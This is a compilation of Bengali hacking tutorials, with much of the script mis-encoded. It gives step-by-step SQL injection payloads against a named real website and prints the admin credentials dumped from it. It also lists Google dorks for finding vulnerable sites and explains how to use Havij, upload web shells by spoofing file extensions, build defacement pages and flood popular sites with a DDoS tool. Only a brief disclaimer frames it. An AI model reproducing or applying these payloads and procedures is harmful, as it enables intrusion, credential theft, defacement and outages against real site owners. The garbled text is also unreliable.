অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
